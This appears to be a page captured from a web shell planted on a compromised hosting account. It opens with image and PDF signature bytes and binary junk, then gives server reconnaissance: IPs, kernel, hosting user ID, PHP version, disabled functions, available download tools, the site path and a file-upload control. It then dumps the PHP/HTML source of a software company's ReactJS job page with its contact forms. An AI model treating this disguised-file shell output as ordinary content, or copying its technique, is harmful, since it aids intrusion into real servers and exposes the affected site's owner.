ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 82.197.83.129 / Your IP : 216.73.216.166 [ Web Server : LiteSpeed System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64 User : u489457460 ( 489457460) PHP Version : 7.3.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u489457460/domains/syoft.com/public_html/ |
Upload File : |
<!DOCTYPE html> <html lang="en"> <head> <!--required meta tags--> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0"> <!--meta--> <meta name="description" content="Syoft is a technology based company that thrives on improving businesses and change people’s lives. We help businesses and individuals in adapting digital transformation."> <meta name="author" content=""> <!--favicon icon--> <link rel="icon" href="assets/img/favicon.png" type="image/png" sizes="16x16"> <!--title--> <title>Syoft</title> <!-- Google Tag Manager --> <script> (function(w, d, s, l, i) { w[l] = w[l] || []; w[l].push({ 'gtm.start': new Date().getTime(), event: 'gtm.js' }); var f = d.getElementsByTagName(s)[0], j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : ''; j.async = true; j.src = 'https://www.googletagmanager.com/gtm.js?id=' + i + dl; f.parentNode.insertBefore(j, f); })(window, document, 'script', 'dataLayer', 'GTM-PG7NV7J'); </script> <!-- End Google Tag Manager --> <!--google fonts--> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600;700;800&family=Open+Sans:wght@400;600&display=swap" rel="stylesheet"> <!--build:css--> <link rel="stylesheet" href="assets/css/main.css"> <!-- endbuild --> <!--custom css start--> <link rel="stylesheet" href="assets/css/custom.css"> <!--custom css end--> </head> <body> <!-- Google Tag Manager (noscript) --><noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-PG7NV7J" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript><!-- End Google Tag Manager (noscript) --> <!--preloader start--> <div id="preloader"> <div class="preloader-wrap"> <img src="assets/img/favicon.png" alt="logo" class="img-fluid preloader-icon" /> <div class="loading-bar"></div> </div> </div> <!--preloader end--> <!--main content wrapper start--> <div class="main-wrapper"> <!--header section start--> <?php include 'header.php'; ?> <!--header section End--> <!--page header section start--> <section class="page-header position-relative overflow-hidden ptb-120 bg-dark" style="background: url('assets/img/career-banner.jpeg')no-repeat bottom center / cover"> <div class="container"> <div class="row justify-content-between align-items-center"> <div class="col-lg-8 col-12"> <div class="company-info-wrap"> <!-- <div class="company-logo p-4 bg-white shadow rounded-custom me-4 mt-2"> <div class="logo"> <img src="assets/img/2.png" alt="company logo" class="img-fluid"> </div> </div> --> <div class="company-overview"> <!-- <h1 class="display-5 fw-bold">Senior Backend Developer</h1> <h6>About The Company</h6> <ul class="list-unstyled list-inline mb-0 mt-3"> <li class="list-inline-item me-4"><i class="far fa-house-building me-2"></i> Google</li> <li class="list-inline-item me-4"> <div class="star-rating"> <i class="far fa-smile me-2"></i> <span class="fas fa-star small text-warning"></span> <span class="fas fa-star small text-warning"></span> <span class="fas fa-star small text-warning"></span> <span class="fas fa-star small text-warning"></span> <span class="fas fa-star small text-warning"></span> </div> </li> <li class="list-inline-item me-4"><i class="far fa-map-marker-alt me-2"></i>United Kingdom </li> </ul> --> <p> </p> </div> </div> </div> <!-- <div class="col-lg-3 col-12"> <div class="annual-salary-wrap rounded-custom"> <h6>Annual Salary</h6> <span class="display-6 fw-semi-bold text-dark mb-0">$35k - $38k</span> </div> </div> --> </div> <div class="bg-circle rounded-circle circle-shape-3 position-absolute bg-dark-light right-5"></div> </div> </section> <!--page header section end--> <!--job details section start--> <section class="job-details ptb-60"> <div class="container"> <div class="row justify-content-between"> <div class="col-lg-8 pe-lg-5"> <div class="job-details-wrap"> <h1 class="display-5"><span class="text-warning">Reactjs </span>Developer</h1> <div class="job-details-info mt-4"> <h2>What we are looking for</h2> <ul class="content-list list-unstyled"> <li>Minimum 3 years of experience building applications using ReactJS. </li> <li>Hands on experience on Redux and Context API.</li> <li>Deep understanding of ES6 and Object-Oriented Concepts. </li> <li>Should be an expert at converting Design Specs to Real Pages in HTML and CSS.</li> <li>Solid understanding of CSS pre-processors like LESS, SASS. </li> <li>Good understanding of web mark-up, including HTML5, CSS3, and Responsive Web design. </li> <li>Has a Solid Understanding of RESTful APIs.</li> <li>Knowledge of CSS Frameworks such as Bootstrap and Foundation.</li> <li>Experience in Accessibility, SEO, Advanced JS, Typescript.</li> <li>Have working knowledge of Linux Environment.</li> <li>Strong interpersonal and communication skills.</li> <li>Should be a Team Player.</li> </ul> </div> <div class="job-details-info mt-5"> <h2>What we offer</h2> <ul class="content-list list-unstyled"> <li>A competitive pay.</li> <li>Work directly with our Founders.</li> <li>Performance based bonuses.</li> <li>Friendly work environment.</li> <li>A platform to showcase your skillset as well as learn and many more.</li> </ul> </div> <!-- <img src="assets/img/apply-now-1.jpg" class="img-fluid mt-5 rounded-custom" alt="apply"> --> </div> </div> <div class="col-lg-4"> <div class="job-overview-wrap bg-light p-5 rounded-custom mb-5 mt-lg-0" id='BiginWebToEntityFormDiv310182000000229439'> <h5>Talk to us</h5> <!-- Do not remove this code. --> <input type='text' style='display:none;' name='xnQsjsdp' value='423c92bf81f8e0a58493ac6d1a1b6ff0d1849ce0da73f6ebe7cb8824b708c951' /> <input type='text' style='display:none;' name='zc_gad' id='zc_gad' value='' /> <input type='text' style='display:none;' name='xmIwtLD' value='65db258607b5d5410a00f22a686f9548b88f4cdb516fe9f0f2725f95c6033ee2' /> <input type='text' style='display:none;' name='actionType' value='Q29udGFjdHM=' /> <input type='text' style='display:none;' name='returnURL' value='https://syoft.com' /> <!-- <div style="font-size: 1.1rem;color:#000000;font-weight:400; margin-bottom: 20px;word-break: break-word;padding-right: 15px;">Collaboratively promote client-focused convergence vis-a-vis customer directed alignments via standardized infrastructures.</div> --> <div id="elementDiv310182000000229439"> <form action="#" method="post" name="postForm" id="postForm"> <div class="bgn-wf-row"> <div class="row-column1"> <div class="bgn-wf-field"> <input name="first_name" id="first_name" type="text" maxlength="40" value="" placeholder="First Name" style=" border: 1px solid #e2e0df;padding: 10px 15px;border-radius: .375rem;width: 100%;" /> </div> <div id='first_name_Error'></div> </div> </div> <div class="bgn-wf-row"> <div class="row-column1"> <div class="bgn-wf-field"> <input name="last_name" id="last_name" type="text" maxlength="40" value="" placeholder="Last Name" style=" border: 1px solid #e2e0df;padding: 10px 15px;border-radius: .375rem;width: 100%;" /> </div> <div id='last_name_Error'></div> </div> </div> <div class="bgn-wf-row"> <div class="row-column1"> <div class="bgn-wf-field"> <input name="mobile" id="mobile" type="text" maxlength="120" value="" placeholder="Mobile Number" style=" border: 1px solid #e2e0df;padding: 10px 15px;border-radius: .375rem;width: 100%;" /> </div> <div id='mobile_Error'></div> </div> </div> <div class="bgn-wf-row"> <div class="row-column1"> <div class="bgn-wf-field"> <input name="email" id="email" type="text" maxlength="100" value="" placeholder="Email" style=" border: 1px solid #e2e0df;padding: 10px 15px;border-radius: .375rem;width: 100%;" /> </div> <div id='email_Error'></div> </div> </div> <div class="bgn-wf-row"> <div class="row-column1"> <div class="bgn-wf-field"> <textarea name="description" id="description" maxlength="32000" placeholder="Message" style=" border: 1px solid #e2e0df;padding: 10px 15px;border-radius: .375rem;width: 100%;"></textarea> </div> <div id='description_Error'></div> </div> </div> <div class="bgn-wf-row"> <div class="row-column1"> <!-- <label for="formFileLg"> <img src="assets/img/attach-file.svg" class=" " id="formFileLg"> <span>Attach file <i class="item-file"></i></span> </label> --> <input type="file" /> <!-- <div id="description_Error2"></div> --> </div> </div> <div class="bgn-wf-row" style="margin-top: 5px;"> <!--<div class="bgn-wf-label"></div>--> <!-- <div class="bgn-wf-field mb-0"> <input onclick='disableSubmitwhileReset310182000000229439()' type='reset' style='margin-right: 10px;margin-bottom: 10px;font-size:13px;border-radius: .375rem;vertical-align: middle;background-color: #000;border-color: #000;padding: 8px 15px;color: #fff;display: inline-block;width: auto;' value='Reset' class="reset-btn" /> <input style='margin-bottom: 10px; font-size:13px;color: #fff;border-radius: .375rem;vertical-align: middle;background-color: #dc2f00;border-color: #dc2f00;padding: 8px 15px;display: inline-block;width: auto;' id='formsubmit310182000000229439' type='submit' value='Submit' class="submit-btn" /> </div> --> <div class="bgn-wf-field text-left pt-2 aos-init aos-animate" data-aos="fade-up" data-aos-delay="100"> <button class="btn btn-warning me-lg-4 me-sm-4 w-100" id='formsubmit310182000000229439-1' type='submit'><i class="far fa-arrow-right"></i> Submit contact form</button> </div> </div> </form> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script> <script> // for sending email code start $("form").on("submit", function(e) { if ($("#first_name").val().length === 0) { e.preventDefault(); $("#first_name_Error").html("First name is required.").addClass("error-msg"); } else { $("#first_name_Error").html("").removeClass("error-msg"); } if ($("#last_name").val().length === 0) { e.preventDefault(); $("#last_name_Error").html("Last name is required.").addClass("error-msg"); } else { $("#last_name_Error").html("").removeClass("error-msg"); } if ($("#company_name").val().length === 0) { e.preventDefault(); $("#company_name_Error").html("Company is required.").addClass("error-msg"); } else { $("#company_name_Error").html("").removeClass("error-msg"); } if ($("#mobile").val().length === 0) { e.preventDefault(); $("#mobile_Error").html("Mobile is required.").addClass("error-msg"); } else { $("#mobile_Error").html("").removeClass("error-msg"); } if ($("#email").val().length === 0) { e.preventDefault(); $("#email_Error").html("Email is required.").addClass("error-msg"); } else { $("#email_Error").html("").removeClass("error-msg"); } if ($("#description").val().length === 0) { e.preventDefault(); $("#description_Error").html("Description is required.").addClass("error-msg"); } else { $("#description_Error").html("").removeClass("error-msg"); } // e.preventDefault(); var postForm = { 'first_name': $('input[name=first_name]').val(), 'last_name': $('input[name=last_name]').val(), 'company_name': $('input[name=company_name]').val(), 'mobile': $('input[name=mobile]').val(), 'email': $('input[name=email]').val(), 'description': $('#description').val(), 'subject': "React Js Career", }; $.ajax({ type: 'POST', url: 'https://syoft.com/blogs/welcome/sendemail', data: postForm, dataType: 'json', cors: true, success: function(data) { // alert('data') } }); window.location.href = window.location.href }); // for sending email code end function disableSubmitwhileReset310182000000229439() { var submitbutton = document.getElementById('formsubmit310182000000229439'); if (document.getElementById('privacyTool310182000000229439') !== null || document.getElementById('consentTool') !== null) { submitbutton.disabled = true; submitbutton.style.opacity = '0.5;'; } else { submitbutton.removeAttribute('disabled'); } } function checkMandatory310182000000229439() { var mndFields = new Array('First Name', 'Last Name', 'Email', 'Mobile'); var fldLangVal = new Array('First Name', 'Last Name', 'Email', 'Mobile'); var i; var mndFieldslength = mndFields.length; var fieldObj; for (i = 0; i < mndFieldslength; i++) { fieldObj = document.forms.BiginWebToContactForm310182000000229439[mndFields[i]]; if (fieldObj) { if (fieldObj.value.replace(/^s+|s+$/g, '').length === 0) { if (fieldObj.type === 'file') { alert('Please select a file to upload.'); fieldObj.focus(); return false; } alert(fldLangVal[i] + ' cannot be empty.'); fieldObj.focus(); return false; } else if (fieldObj.nodeName === 'SELECT') { if (fieldObj.options[fieldObj.selectedIndex].value === '-None-') { alert(fldLangVal[i] + ' cannot be none.'); fieldObj.focus(); return false; } } else if (fieldObj.type === 'checkbox') { if (fieldObj.checked === false) { alert('Please accept ' + fldLangVal[i]); fieldObj.focus(); return false; } } if (fieldObj.name === 'Last Name' && fieldObj.value) { name = fieldObj.value; } } } return true; } function validateFileUpload() { var e = document.getElementById("theFile"), t = 0; if (e) { if (e.files.length > 3) return alert("You can upload a maximum of three files at a time."), !1; if ("files" in e) { var i = e.files.length; if (0 !== i) { for (var o = 0; o < i; o++) { var a = e.files[o]; "size" in a && (t += a.size) } if (t > 20971520) return alert("Total file(s) size should not exceed 20MB."), !1 } } } return !0 } </script> <script id='wf_script' src='https://bigin.zoho.in/crm/WebformScriptServlet?rid=65db258607b5d5410a00f22a686f9548b88f4cdb516fe9f0f2725f95c6033ee2gid423c92bf81f8e0a58493ac6d1a1b6ff0d1849ce0da73f6ebe7cb8824b708c951'></script> <!--</form>--> </div> </div> </div> </div> </section> <!--job details section end--> <!--related job start--> <section class="related-job-list ptb-60 bg-primary"> <div class="container"> <div class="row align-items-center justify-content-between"> <div class="col-lg-8 col-md-12"> <div class="section-heading mb-3"> <span class="crm-subtitle">Related Jobs <img src="assets/img/shape/arro-right.svg" alt="arrow" class="ms-1"></span> <h2 class="text-white">More Openings Jobs at Syoft</h2> </div> </div> </div> <div class="row"> <div class="col-lg-4 col-md-6"> <a href="digital-career.php" class="text-decoration-none mt-4 mt-lg-0 mt-xl-0 single-open-job p-4 bg-light-green d-block rounded-custom"> <div class="d-flex justify-content-between align-items-center mb-2"> <span class="text-dark h6 mb-2 job-time"><i class="far fa-briefcase me-2"></i>Full Time</span> <span class="badge px-3 py-2 btn btn-dark text-white rounded-pill small">Apply Now</span> </div> <h3 class="h5">Digital Marketing Executive</h3> <ul class="job-info-list list-inline list-unstyled"> <li class="list-inline-item text-dark"><span class="far fa-map-marker-alt me-1 text-dark"></span>Hyderabad </li> <!-- <li class="list-inline-item"><span class="far fa-wallet me-1"></span> $35k - $45k</li> --> </ul> </a> </div> <div class="col-lg-4 col-md-6"> <a href="angular-career.php" class="text-decoration-none mt-4 mt-lg-0 mt-xl-0 single-open-job p-4 bg-light-blue d-block rounded-custom"> <div class="d-flex justify-content-between align-items-center mb-2"> <span class="text-dark h6 mb-2 job-time"><i class="far fa-briefcase me-2"></i>Full Time</span> <span class="badge px-3 py-2 btn btn-dark text-white rounded-pill small">Apply Now</span> </div> <h3 class="h5">Angular Developer</h3> <ul class="job-info-list list-inline list-unstyled"> <li class="list-inline-item text-dark"><span class="far fa-map-marker-alt me-1 text-dark"></span>Hyderabad </li> </ul> </a> </div> <div class="col-lg-4 col-md-6"> <a href="devops-career.php" class="text-decoration-none mt-4 mt-lg-0 mt-xl-0 single-open-job p-4 bg-light-yellow d-block rounded-custom"> <div class="d-flex justify-content-between align-items-center mb-2"> <span class="text-dark h6 mb-2 job-time"><i class="far fa-briefcase me-2"></i> Full Time</span> <span class="badge px-3 py-2 btn btn-dark text-white rounded-pill small">Apply Now</span> </div> <h3 class="h5">Devops Engineer</h3> <ul class="job-info-list list-inline list-unstyled "> <li class="list-inline-item text-dark"><span class="far fa-map-marker-alt me-1 text-dark"></span> Hyderabad </li> </ul> </a> </div> </div> </div> </section> <!--related job end--> <?php include 'common.php'; ?> <section class="ins-contact-section pb-60 position-relative overflow-hidden contact-form"> <div class="container"> <div class="row "> <div class="col-xl-6 col-lg-6"> <div class="ins-contact-wrapper"> <!-- <h2 class="ml-5">Contact us to build the right product <span class="text-warning"> with the right team</span></h2> --> <h2 class="">Accelerate Your Next Big Ideas with <span class="text-warning">Syoft</span></h2> <!-- <div class="ins-title pe-4 mb-30 pb-2"> <div class="d-flex align-items-center"> <span class="h5 text-warning fw-bold">Accelerate</span> <span class="ms-1"> <svg width="103" height="13" viewBox="0 0 103 13" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M0.696533 6.60583L93.3054 6.60584" stroke="#dc2f00" stroke-width="1.49369" /> <path d="M102.266 6.60263L93.3036 11.7769L93.3036 1.42833L102.266 6.60263Z" fill="#dc2f00" /> </svg> </span> </div> <h2 class="ins-heading mb-0 display-5">Your Next Big Ideas with <mark>Syoft</mark> & Get Started!</h2> </div> --> <div class="bgn-wf-wrapper p-0" id="BiginWebToEntityFormDiv310182000000229439"> <!--<form id='BiginWebToContactForm310182000000229439' name='BiginWebToContactForm310182000000229439' method='POST' enctype='multipart/form-data' onSubmit='javascript:document.charset="UTF-8"; return validateForm310182000000229439()' accept-charset='UTF-8' style='margin: 0;'>--> <!-- Do not remove this code. --> <input type='text' style='display:none;' name='xnQsjsdp' value='423c92bf81f8e0a58493ac6d1a1b6ff0d1849ce0da73f6ebe7cb8824b708c951' /> <input type='text' style='display:none;' name='zc_gad' id='zc_gad' value='' /> <input type='text' style='display:none;' name='xmIwtLD' value='65db258607b5d5410a00f22a686f9548b88f4cdb516fe9f0f2725f95c6033ee2' /> <input type='text' style='display:none;' name='actionType' value='Q29udGFjdHM=' /> <input type='text' style='display:none;' name='returnURL' value='https://syoft.com' /> <!-- <div style="font-size: 1.1rem;color:#000000;font-weight:400; margin-bottom: 20px;word-break: break-word;padding-right: 15px;">Collaboratively promote client-focused convergence vis-a-vis customer directed alignments via standardized infrastructures.</div> --> <div id="elementDiv310182000000229439" style="border:0;width: 100%;background-color: white;color:#000;font-family:poppins;text-align:left; font-size: 15;"> <form action="https://www.syoft.com/thankyou.php" method="post" name="postForm" id="postForm2"> <div class="bgn-wf-row"> <div class="row-column"> <!--<div class="bgn-wf-label">First Name--> <!-- <span class="bgn-star">*</span>--> <!--</div>--> <div class="bgn-wf-field"> <input name="first_name2" id="first_name2" type="text" maxlength="40" value="" placeholder="First Name" style=" border: 1px solid #8c8c8c;padding: 10px 15px;border-radius: .375rem;width: 100%;font-family:montserrat;" /> </div> <div id='first_name_Error2'></div> </div> <div class="row-column"> <!--<div class="bgn-wf-label">Last name--> <!-- <span class="bgn-star">*</span>--> <!--</div>--> <div class="bgn-wf-field"> <input name="last_name2" id="last_name2" type="text" maxlength="40" value="" placeholder="Last Name" style=" border: 1px solid #8c8c8c;padding: 10px 15px;border-radius: .375rem;width: 100%;font-family:montserrat;" /> </div> <div id='last_name_Error2'></div> </div> </div> <div class="bgn-wf-row"> <div class="row-column1"> <!--<div class="bgn-wf-label">Company Name--> <!--</div>--> <div class="bgn-wf-field"> <input name="company_name2" id="company_name2" type="text" maxlength="120" value="" placeholder="Company Name" style=" border: 1px solid #8c8c8c;padding: 10px 15px;border-radius: .375rem;width: 100%;font-family:montserrat;" /> </div> <div id='company_name_Error2'></div> </div> </div> <div class="bgn-wf-row"> <div class="row-column"> <!-- <div class="bgn-wf-label">Mobile--> <!-- <span class="bgn-star">*</span>--> <!--</div>--> <div class="bgn-wf-field"> <input name="mobile2" id="mobile2" type="text" maxlength="30" value="" placeholder="Mobile" style=" border: 1px solid #8c8c8c;padding: 10px 15px;border-radius: .375rem;width: 100%;font-family:montserrat;" /> </div> <div id='mobile_Error2'></div> </div> <div class="row-column"> <!-- <div class="bgn-wf-label">Email--> <!-- <span class="bgn-star">*</span>--> <!--</div>--> <div class="bgn-wf-field"> <input name="email2" id="email2" type="text" maxlength="100" value="" placeholder="Email" style=" border: 1px solid #8c8c8c;padding: 10px 15px;border-radius: .375rem;width: 100%;font-family:montserrat;" /> </div> <div id='email_Error2'></div> </div> </div> <div class="bgn-wf-row"> <div class="row-column1"> <!--<div class="bgn-wf-label">Message--> <!--</div>--> <div class="bgn-wf-field"> <textarea name="description2" id="description2" maxlength="32000" placeholder="Message" style=" border: 1px solid #8c8c8c;padding: 10px 15px;border-radius: .375rem;width: 100%;font-family:montserrat;"></textarea> </div> <div id='description_Error2'></div> </div> </div> <!-- <div class="bgn-wf-row"> <div class="row-column1"> <label for="formFileLg"> <img src="assets/img/attach-file.svg" class=" " id="formFileLg"> <span>Attach file <i class="item-file"></i></span> </label> <div id='description_Error2'></div> </div> </div> --> <div class="bgn-wf-row"> <div class="row-column1"> <!-- <label for="formFileLg"> <img src="assets/img/attach-file.svg" class=" " id="formFileLg"> <span>Attach file <i class="item-file"></i></span> </label> --> <input type="file" id="photo" name="photo" accept="image/*"> <div id='description_Error2'></div> </div> </div> <div class="bgn-wf-row"> <div class="row-column1"> <small>By sending a message you agree with your information being stored by us in relation to dealing with your enquiry. Please have a look at our <a href="privacy-policy.php" target="_blank"> Privacy Policy.</a></small> <div class="form-check d-flex mt-3"> <input class="form-check-input me-2" type="checkbox" value="" id="flexCheckChecked"> <label class="form-check-label" for="flexCheckChecked"> I’d like to sign an NDA with Syoft Software</a> </label> </div> <div id='description_Error2'></div> </div> </div> <div class="bgn-wf-row" style="margin-top: 5px;"> <!--<div class="bgn-wf-label"></div>--> <!-- <div class="action-btns text-left pt-2 aos-init aos-animate" type='submit' data-aos="fade-up" data-aos-delay="100"> <a href="#" class="btn btn-warning me-lg-4 me-sm-4" id='formsubmit310182000000229439'><i class="far fa-arrow-right"></i> Submit contact form</a> <a href="#" class="btn btn-primary "><i class="far fa-arrow-right"></i> info@syoft.com</a> </div> --> <div class="bgn-wf-field text-left pt-2 aos-init aos-animate" data-aos="fade-up" data-aos-delay="100"> <button class="btn btn-warning me-lg-4 me-sm-4" id='formsubmit310182000000229439' type='submit'><i class="far fa-arrow-right"></i> Submit contact form</button> <a href="mailto:info@syoft.com" class="btn btn-primary"><i class="far fa-arrow-right pe-1"></i>info@syoft.com</a> </div> </div> </form> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script> <script> // for sending email code start // second form $("#formsubmit310182000000229439").on("click", function(e) { var regx = /^[6-9]\d{9}$/; var validRegex = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/; var first_name_Error2 = last_name_Error2 = company_name_Error2 = email_Error2 = mobile_Error2 = description_Error2 = true; if ($("#first_name2").val().length === 0) { e.preventDefault(); $("#first_name_Error2").html("First name is required.").addClass("error-msg"); first_name_Error2 = false } else { $("#first_name_Error2").html("").removeClass("error-msg"); } if ($("#last_name2").val().length === 0) { e.preventDefault(); $("#last_name_Error2").html("Last name is required.").addClass("error-msg"); last_name_Error2 = false } else { $("#last_name_Error2").html("").removeClass("error-msg"); } if ($("#company_name2").val().length === 0) { e.preventDefault(); $("#company_name_Error2").html("Company is required.").addClass("error-msg"); company_name_Error2 = false } else { $("#company_name_Error2").html("").removeClass("error-msg"); } if (regx.test($("#mobile2").val()) == false || $("#mobile2").val().length === 0) { e.preventDefault(); $("#mobile_Error2").html("Mobile is required.").addClass("error-msg"); mobile_Error2 = false } else { $("#mobile_Error2").html("").removeClass("error-msg"); } if (validRegex.test($("#email2").val()) == false || $("#email2").val().length === 0) { e.preventDefault(); $("#email_Error2").html("Email is required.").addClass("error-msg"); email_Error2 = false } else { $("#email_Error2").html("").removeClass("error-msg"); } if ($("#description2").val().length === 0) { e.preventDefault(); $("#description_Error2").html("Description is required.").addClass("error-msg"); description_Error2 = false } else { $("#description_Error2").html("").removeClass("error-msg"); } // e.preventDefault(); var postForm = { 'first_name': $('input[name=first_name2]').val(), 'last_name': $('input[name=last_name2]').val(), 'company_name': $('input[name=company_name2]').val(), 'mobile': $('input[name=mobile2]').val(), 'email': $('input[name=email2]').val(), 'description': $('#description2').val(), 'subject': "Reactjs Career", }; if (first_name_Error2 == true && last_name_Error2 == true && description_Error2 == true && email_Error2 == true && mobile_Error2 == true && company_name_Error2 == true) { $.ajax({ type: 'POST', url: 'https://syoft.com/blogs/welcome/sendemail', data: postForm, dataType: 'json', cors: true, success: function(data) { // alert('data') } }); // window.location.href = window.location.href document.getElementById("postForm2").reset(); window.location = window.location.origin + '/thankyou.php' } }); // second form // for sending email code end function disableSubmitwhileReset310182000000229439() { var submitbutton = document.getElementById('formsubmit310182000000229439'); if (document.getElementById('privacyTool310182000000229439') !== null || document.getElementById('consentTool') !== null) { submitbutton.disabled = true; submitbutton.style.opacity = '0.5;'; } else { submitbutton.removeAttribute('disabled'); } } function checkMandatory310182000000229439() { var mndFields = new Array('First Name', 'Last Name', 'Email', 'Mobile'); var fldLangVal = new Array('First Name', 'Last Name', 'Email', 'Mobile'); var i; var mndFieldslength = mndFields.length; var fieldObj; for (i = 0; i < mndFieldslength; i++) { fieldObj = document.forms.BiginWebToContactForm310182000000229439[mndFields[i]]; if (fieldObj) { if (fieldObj.value.replace(/^s+|s+$/g, '').length === 0) { if (fieldObj.type === 'file') { alert('Please select a file to upload.'); fieldObj.focus(); return false; } alert(fldLangVal[i] + ' cannot be empty.'); fieldObj.focus(); return false; } else if (fieldObj.nodeName === 'SELECT') { if (fieldObj.options[fieldObj.selectedIndex].value === '-None-') { alert(fldLangVal[i] + ' cannot be none.'); fieldObj.focus(); return false; } } else if (fieldObj.type === 'checkbox') { if (fieldObj.checked === false) { alert('Please accept ' + fldLangVal[i]); fieldObj.focus(); return false; } } if (fieldObj.name === 'Last Name' && fieldObj.value) { name = fieldObj.value; } } } return true; } function validateFileUpload() { var e = document.getElementById("theFile"), t = 0; if (e) { if (e.files.length > 3) return alert("You can upload a maximum of three files at a time."), !1; if ("files" in e) { var i = e.files.length; if (0 !== i) { for (var o = 0; o < i; o++) { var a = e.files[o]; "size" in a && (t += a.size) } if (t > 20971520) return alert("Total file(s) size should not exceed 20MB."), !1 } } } return !0 } </script> <script id='wf_script' src='https://bigin.zoho.in/crm/WebformScriptServlet?rid=65db258607b5d5410a00f22a686f9548b88f4cdb516fe9f0f2725f95c6033ee2gid423c92bf81f8e0a58493ac6d1a1b6ff0d1849ce0da73f6ebe7cb8824b708c951'></script> <!--</form>--> </div> </div> </div> <div class="col-xl-5 col-lg-5 offset-lg-1"> <div class="section-heading aos-init aos-animate mb-0" data-aos="fade-up"> <h3>Top-rated software<br /> development company</h3> <ul class="list-unstyled d-flex flex-wrap list-two-col mt-2 mb-5"> <li class="py-3 stack_list"> <h3 class="display-5 fw-bold mb-2 text-warning">200+</h3> <p>projects delivered <br /> remotely</p> </li> <li class="py-3 stack_list_1"> <h3 class="display-5 fw-bold mb-2 text-warning">92%</h3> <p>of a team senior & <br /> middle engineers </p> </li> <li class="py-3 stack_list_2"> <h3 class="display-5 fw-bold mb-2 text-warning">20%</h3> <p>employee turnover <br /> rate</p> </li> <li class="py-3 stack_list_3"> <h3 class="display-5 fw-bold mb-2 text-warning">9/10</h3> <p>customer satisfaction <br /> score</p> </li> </ul> <ul class="customer-logos-grid text-center list-unstyled mb-0"> <li> <img src="assets/img/clients/rev1.svg" width="200" alt="clients logo" class="img-fluid p-1 m-auto aos-init aos-animate" data-aos="fade-up"> </li> <li> <img src="assets/img/clients/rev2-foot.svg" width="200" alt="clients logo" class="img-fluid p-1 m-auto aos-init aos-animate" data-aos="fade-up" data-aos-delay="50"> </li> <li> <img src="assets/img/clients/rev3-foot.svg" width="200" alt="clients logo" class="img-fluid p-1 m-auto aos-init aos-animate" data-aos="fade-up" data-aos-delay="100"> </li> <li> <img src="assets/img/clients/gartner_peer_insights.png" width="200" alt="clients logo" class="img-fluid p-1 m-auto aos-init aos-animate" data-aos="fade-up" data-aos-delay="150"> </li> </ul> <!-- <ul class="list-unstyled"> <li class="d-flex align-items-start mb-4"> <div class="icon-box bg-primary rounded me-4"> <i class="fas fa-location-dot text-white"></i> </div> <div class="icon-content"> <h3 class="h5 fw-bold">Location</h3> <p class="lead">1st Floor, Plot No. 16, Jayabheri Enclave, Gachibowli, Hyderabad, Telangana 500032</p> </div> </li> <li class="d-flex align-items-start mb-4"> <div class="icon-box bg-danger rounded me-4"> <i class="fas fa-envelope text-white"></i> </div> <div class="icon-content"> <h3 class="h5 fw-bold">Email Us</h3> <p class="lead"> <a href="mailto:info@syoft.com">info@syoft.com</a></p> </div> </li> <li class="d-flex align-items-start mb-4"> <div class="icon-box bg-danger rounded me-4"> <i class="fas fa-phone text-white"></i> </div> <div class="icon-content"> <h3 class="h5 fw-bold">Give us a call</h3> <p class="lead"><a href="tel:+91 9030819534" class="call"> +91 9030819534</a> | <a href="tel:+18622820099" class="call"> +1 862-282-0099</a></p> </div> </li> </ul> --> </div> </div> </div> </div> </section> <!--contact us form end--> <section class="work-process ptb-60 bpo-services"> <div class="container"> <div class="row justify-content-center"> <div class="col-md-12 col-lg-10"> <div class="section-heading text-center mb-0"> <!-- <h4 class="h4 text-warning">Find the right answer</h4> --> <h2 class="display-5">Our Locations</h2> </div> </div> </div> <div class="row d-flex align-items-center"> <div class="col-md-6 col-lg-6"> <a href="#"> <div class="process-card-two text-center px-3 py-4 rounded-custom mt-4 border border-light border-2"> <img src="assets/img/hyd-skyline.png" class="img-fluid" alt="skyline"> <h3 class="h4 fw-semi-bold mt-3">India</h3> </div> </a> </div> <div class="col-md-6 col-lg-6"> <a href="#"> <div class="process-card-two text-center px-3 py-4 rounded-custom mt-4 border border-light border-2"> <img src="assets/img/bangalore-skyline.png" class="img-fluid" alt="skyline"> <h3 class="h4 fw-semi-bold mt-3">United States</h3> </div> </a> </div> <!-- <div class="col-md-6 col-lg-4"> <a href="#"> <div class="process-card-two text-center px-3 py-5 rounded-custom mt-4 border border-light border-2"> <img src="assets/img/bangalore-skyline.png" class="img-fluid" alt="skyline"> <h3 class="h5 mt-3">Bhubaneswar</h3> </div> </a> </div> --> </div> </div> </section> <!--footer section start--> <?php include 'footer.php'; ?> <!--footer section end--> </div> <!--build:js--> <script src="assets/js/vendors/jquery-3.6.0.min.js"></script> <script src="assets/js/vendors/bootstrap.bundle.min.js"></script> <script src="assets/js/vendors/swiper-bundle.min.js"></script> <script src="assets/js/vendors/jquery.magnific-popup.min.js"></script> <script src="assets/js/vendors/parallax.min.js"></script> <script src="assets/js/vendors/aos.js"></script> <script src="assets/js/app.js"></script> <!--endbuild--> </body> </html>